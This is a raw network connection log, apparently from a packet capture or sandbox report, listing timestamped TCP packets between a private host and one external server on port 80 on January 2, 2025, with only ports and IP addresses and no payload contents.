Jan 2, 2025 19:14:16.987365961 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987377882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987466097 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.987498999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987505913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987512112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987518072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987523079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987529993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987538099 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987541914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.987545013 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.987759113 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.990365028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990402937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990407944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990421057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990428925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990433931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990495920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.990495920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.990514994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990591049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990596056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990602016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990607023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990612984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990654945 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.990689993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990695953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990703106 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990709066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.990715981 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.990757942 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991000891 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991158962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991166115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991172075 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991177082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991183043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991188049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991194010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991199970 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991238117 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991316080 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991595984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991600990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991606951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991612911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991626024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991631985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991643906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991655111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991661072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991667032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991667032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991678953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991679907 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991686106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991692066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991698027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991703987 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991741896 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991741896 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991828918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991835117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991841078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991910934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991915941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991935015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991935968 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.991940975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.991946936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992068052 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.992140055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992146015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992151976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992189884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992244005 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.992295027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992300987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992306948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992317915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992324114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992328882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992335081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992340088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992347002 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.992346048 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992357016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.992382050 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.992567062 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.004066944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004138947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004144907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004152060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004158020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004164934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004235983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004241943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004249096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004252911 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.004254103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004260063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004266024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004278898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004285097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.004328966 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.004419088 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.005812883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.005865097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.005871058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.005877018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.005920887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.005927086 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.005934000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.005938053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.005990028 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006038904 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006264925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006324053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006330013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006335974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006349087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006356001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006361008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006366968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006371975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006373882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006402969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006429911 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006571054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006577969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006586075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006649971 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006688118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006694078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006700039 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006705046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006710052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006715059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006720066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006726027 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006727934 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006794930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006800890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006807089 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006809950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006813049 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006817102 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006824017 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006829023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006870985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006870985 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006876945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006882906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006889105 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006895065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.006903887 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.006946087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007422924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007455111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007461071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007563114 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007564068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007570028 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007582903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007587910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007594109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007600069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007626057 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007636070 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007651091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007657051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007671118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007687092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007693052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007699966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007705927 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007711887 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007769108 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007769108 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007798910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007806063 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007811069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007822037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007827997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007833004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007839918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007850885 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007863045 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007868052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007874012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.007893085 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007934093 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.007934093 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.008485079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.008630037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.008635998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.008641958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.008646965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.008652925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.008658886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.008666039 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.008671999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.008677959 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.008745909 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.009221077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009226084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009231091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009346962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009351969 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009357929 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009362936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009368896 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009387016 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.009437084 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.009460926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009497881 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009502888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009520054 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.009603024 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.009644032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009753942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009824991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009830952 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009838104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009844065 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.009897947 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.009941101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009953976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009959936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009964943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009969950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009974957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009979963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009984970 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.009999037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010004997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010010958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010015011 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.010015965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010024071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010026932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010040045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010045052 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.010050058 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010056973 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010061979 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010071993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.010139942 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.010240078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010246038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010252953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010257959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010263920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010268927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010274887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010282040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010287046 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.010310888 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.010462046 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.011384964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011392117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011398077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011403084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011409044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011414051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011420965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011426926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011431932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011436939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011442900 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011444092 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.011447906 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011501074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.011503935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011509895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011514902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011519909 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011526108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011531115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011537075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011545897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.011545897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.011589050 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.011589050 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.011589050 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.034431934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034437895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034451962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034457922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034463882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034542084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034548044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034554005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034567118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034574032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034579992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034591913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034594059 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.034606934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034621000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034625053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034636021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.034636021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.034653902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034660101 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.034728050 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.034750938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034755945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034761906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034768105 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034773111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034831047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034838915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034842014 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034852982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034873009 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.034887075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034893990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034900904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034907103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034912109 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.034935951 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.034935951 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035079956 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035128117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035135031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035140038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035149097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035155058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035161018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035197020 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035223961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035228968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035270929 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.035454035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035459995 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.035465956 CET	80	49727	147.45.44.131	192.168.2.6
